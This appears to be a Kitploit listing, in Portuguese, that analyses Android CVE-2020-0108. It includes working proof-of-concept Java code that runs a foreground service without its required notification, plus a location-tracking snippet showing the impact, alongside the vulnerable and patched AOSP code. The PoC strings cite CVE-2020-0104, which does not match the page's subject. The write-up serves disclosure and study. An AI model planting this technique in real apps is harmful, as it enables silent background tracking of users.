Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
ServiceCheater — PoC of CVE-2020-0108 | Kitploit
Ferramentas/GitHubGitHub/crackercat/servicecheater
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationPenetration TestingMobile Security
GitHubcrackercat/servicecheater

ServiceCheater

PoC of CVE-2020-0108

Ver Repositório
111há 6 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise da vulnerabilidade de elevação de privilégio do serviço em primeiro plano CVE-2020-0108

1. Contexto da vulnerabilidade

  • No patch de 2020-08 do AOSP, foi divulgada uma vulnerabilidade no framework AMS, com o ID CVE-2020-0108, classificada como Alta. Uma falha lógica no tratamento de serviços em primeiro plano no AMS permite que um atacante que a explore com sucesso ignore a exibição da notificação do serviço em primeiro plano e continue em execução em segundo plano. O ataque precisa ser iniciado por um aplicativo malicioso local, sem exigir interação do usuário. Se o usuário conceder outras permissões ao aplicativo, pode causar danos maiores, como rastreamento contínuo de localização ou gravação silenciosa.

2. Detalhes da vulnerabilidade

  • O serviço em primeiro plano foi introduzido pelo Google no Android 8.0. Como o Android 8.0 não permite iniciar serviços em segundo plano a partir do segundo plano, foi criado o conceito de serviço em primeiro plano. Esse tipo de serviço tem prioridade alta e pode ser executado em segundo plano por muito tempo, mas deve associar uma notificação dentro de 5 segundos após ser iniciado, caso contrário será encerrado. Na prática, o serviço em primeiro plano ainda é executado em “segundo plano”, mas como está vinculado a uma notificação visível ao usuário, o Google o chama de “serviço em primeiro plano”.
  • Esta vulnerabilidade possui dois métodos de ataque, correspondentes a duas falhas lógicas.
  • A primeira falha está no método onNotificationError no NotificationManagerService, que não trata corretamente as exceções na exibição da notificação.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • Nesse caso, após o serviço em primeiro plano ser iniciado, mesmo que a notificação não seja exibida corretamente, o serviço não é encerrado. Por exemplo, se o serviço em primeiro plano usar um layout personalizado ao criar a notificação e, ao construir o objeto RemoteViews, passar um valor de resID inexistente, o NotificationManagerService falhará ao analisar o layout da notificação, lançando uma exceção e chamando o método onNotificationError. Como o método onNotificationError apenas chama cancelNotification para cancelar a notificação, sem encerrar o serviço ou todo o aplicativo, o serviço em primeiro plano continua executando sem exibir a notificação.
  • A segunda falha está no método postNotification no ServiceRecord, que não trata corretamente as exceções na exibição da notificação, mas sim lança a exceção para o programa do usuário.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • Nesse caso, após o serviço em primeiro plano ser iniciado, se o programa do usuário capturar a exceção na thread principal, mesmo que a notificação não seja exibida corretamente, o serviço não é encerrado. Por exemplo, se o serviço em primeiro plano passar um ID de canal inválido ao criar a notificação, ao enviar a notificação no método postNotification do ServiceRecord, uma exceção será lançada. No tratamento da exceção, o método crashApplication do AMS é chamado para lançar uma exceção na thread principal do aplicativo. No entanto, se o aplicativo capturar a exceção na thread principal, ele não trava, e o serviço em primeiro plano continua executando sem exibir a notificação.

3. Verificação da vulnerabilidade

  • Primeira falha: pode ser acionada no serviço em primeiro plano usando o código a seguir:
root@kitploit:~
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • Ao criar o objeto RemoteViews, especificamos o ID do layout como -1, que obviamente é um valor inválido, acionando assim o callback onNotificationError.
  • Segunda falha: pode ser acionada no serviço em primeiro plano usando o código a seguir:
root@kitploit:~
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • Desta vez, não criamos o objeto NotificationChannel e usamos diretamente um ID de canal inválido para construir a Notification, acionando assim a exceção do método postNotification. Em seguida, capturamos a exceção na thread principal, evitando que o aplicativo trave.

4. Impacto da vulnerabilidade

  • Com a exploração bem-sucedida, um aplicativo malicioso pode iniciar silenciosamente um serviço em primeiro plano de alta prioridade em segundo plano e mantê-lo em execução.
  • O maior impacto é o aplicativo usar a permissão de localização para rastrear o usuário. Como utiliza um serviço em primeiro plano, mesmo que o usuário escolha “Permitir apenas acesso à localização em primeiro plano”, o rastreamento pode ocorrer em “segundo plano” sem que o usuário perceba.
root@kitploit:~
public void refreshLocation() {
    LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
    String provider = LocationManager.GPS_PROVIDER;
    if (!checkPermission(Manifest.permission.ACCESS_FINE_LOCATION)) {
        return;
    }
    locationManager.requestLocationUpdates(provider, 2000, 10, new LocationListener() {
        @Override
        public void onLocationChanged(Location location) {
            double lat = location.getLatitude();
            double lng = location.getLongitude();
            Log.i(TAG, "Location Update: Latitude="+lat+",Longitude="+lng);
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {

        }

        @Override
        public void onProviderEnabled(String provider) {

        }

        @Override
        public void onProviderDisabled(String provider) {

        }
    });
}

5. Correção da vulnerabilidade

  • O Google corrigiu esta vulnerabilidade no patch de 2020-08. A principal modificação é forçar o travamento do aplicativo no callback onNotificationError e, no tratamento de exceção do método postNotification, também forçar o travamento do aplicativo. No método crashApplication, no modo forçado (force=true), o AMS força o encerramento do aplicativo em até 5 segundos após lançar a exceção, mesmo que o aplicativo tenha capturado a exceção.
  • No método onNotificationError, é chamado crashApplication para travar o aplicativo, com force=true.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
    final boolean fgService;
    synchronized (mNotificationLock) {
        NotificationRecord r = findNotificationLocked(pkg, tag, id, userId);
        fgService = r != null && (r.getNotification().flags & FLAG_FOREGROUND_SERVICE) != 0;
    }
    cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
            REASON_ERROR, null);
    if (fgService) {
        // Still crash for foreground services, preventing the not-crash behaviour abused
        // by apps to give us a garbage notification and silently start a fg service.
        Binder.withCleanCallingIdentity(
                () -> mAm.crashApplication(uid, initialPid, pkg, -1,
                    "Bad notification(tag=" + tag + ", id=" + id + ") posted from package "
                        + pkg + ", crashing app(uid=" + uid + ", pid=" + initialPid + "): "
                        + message, true /* force */));
    }
}
  • No tratamento de exceção do método postNotification, é chamado o método killMisbehavingService para encerrar o serviço com comportamento anormal.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
} catch (RuntimeException e) {
    Slog.w(TAG, "Error showing notification for service", e);
    // If it gave us a garbage notification, it doesn't
    // get to be foreground.
    ams.mServices.killMisbehavingService(record,
            appUid, appPid, localPackageName);
}
  • No método killMisbehavingService, além da adição de bloqueio, também é chamado crashApplication.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/ActiveServices.java
void killMisbehavingService(ServiceRecord r,
    int appUid, int appPid, String localPackageName) {
    synchronized (mAm) {
        stopServiceLocked(r);
        mAm.crashApplication(appUid, appPid, localPackageName, -1,
            "Bad notification for startForeground", true /*force*/);
    }
}
  • O tratamento para force=true é o seguinte: dentro de 5 segundos após lançar a exceção, o aplicativo é forçado a ser encerrado.
root@kitploit:~
// frameworks/base/services/core/java/com/android/server/am/AppErrors.java
if (force) {
    // If the app is responsive, the scheduled crash will happen as expected
    // and then the delayed summary kill will be a no-op.
    final ProcessRecord p = proc;
    mService.mHandler.postDelayed(
            () -> killAppImmediateLocked(p, "forced", "killed for invalid state"),
            5000L);
}
Baixar ferramenta